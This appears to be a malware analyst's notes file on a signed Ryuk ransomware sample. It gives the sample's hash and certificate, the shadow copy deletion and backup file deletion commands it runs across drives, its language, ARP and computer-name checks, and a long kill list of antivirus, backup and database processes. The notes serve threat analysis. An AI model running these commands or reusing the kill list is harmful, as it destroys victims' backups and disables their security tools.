2019-06-18-ryuk-ransomware-signed-vk.notes.txt

SHA-256: 0b1008d91459937c9d103a900d8e134461db27c602a6db5e082ab9139670ccb6
Digital Certificate: WMV CONSULTING LTD (Thawte)
h/t @malwrhunterteam

Volume Shadow Server & Backup Kill:
vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
vssadmin Delete Shadows /all /quiet
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
del %0

Installed lang check:
SYSTEM\CurrentControlSet\Control\Nls\Language\
InstallLanguage
0419 (Russia)
0422 (Ukrainian)
0423 (Belarusian)

Arp Blaclklist check (partial string patch):
\Users\Public\IPtable
arp -a >
Interface: 
10.30.4
10.30.6
10.30.6
10.30.5
10.31.32

GetComputerName check  (partial string patch):
SPB
Spb
spb
MSK
Msk
msk

Process kill list (partial match) -> taskkill /IM /F & net stop /y:
veeam
backup
backup
xchange
dbeng
sofos
calc
ekrn
zoolz
encsvc
excel
firefoxconfig
infopath
msaccess
mspub
mydesktop
ocautoupds
ocomm
ocssd
onenote
oracle
outlook
powerpnt
sqbcoreservice
steam
synctime
tbirdconfig
thebat
thunderbird
visio
word
xfssvccon
tmlisten
pccntmon
cntaosmgr
ntrtscan
mbamtray
veeam
back
xchange
ackup
acronis
enterprise
sophos
veeam
acrsch
antivirus
antivirus
bedbg
dcagent
epsecurity
epupdate
eraser
esgshkernel
fa_scheduler
iisadmin
imap4
mbam
endpoint
afee
mcshield
task
mfemms
mfevtp
msdts
exchange
ntrt
pdvf
pop3
report
resvc
sacsvr
savadmin
sams
sdrsvc
sepmaster
monitor
smcinst
smcservice
smtp
snac
swi_
ccsf
truekey
tmlisten
ui0detect
wrsvc
netmsmq
ekrn
ehttpsrv
eshasrv
klnagent
wbengine
kavf
mfefire
hrmlog